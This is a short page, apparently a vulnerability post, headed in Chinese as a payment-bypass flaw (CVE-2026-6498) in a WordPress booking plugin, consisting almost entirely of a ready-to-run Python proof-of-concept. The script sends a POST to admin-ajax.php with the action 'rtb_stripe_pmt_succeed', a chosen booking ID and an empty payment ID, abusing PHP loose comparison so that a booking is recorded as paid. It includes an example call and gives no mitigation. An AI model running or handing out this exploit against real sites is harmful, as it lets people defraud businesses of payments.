CVE-2026-6498 WordPress插件支付绕过漏洞

import requests def exploit_payment_bypass(target_url, booking_id): """ PoC for CVE-2026-6498: Payment Bypass via PHP Type Juggling. """ # The AJAX endpoint for WordPress ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Data payload exploiting the loose comparison payload = { "action": "rtb_stripe_pmt_succeed", "booking_id": booking_id, "payment_id": "" # Empty string matches null in loose comparison } try: response = requests.post(ajax_url, data=payload) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Body: {response.text}") if response.status_code == 200: print("[+] Request sent. Check booking status to verify exploitation.") except Exception as e: print(f"[-] Error: {e}") # Example usage: # exploit_payment_bypass("http://example.com", "123")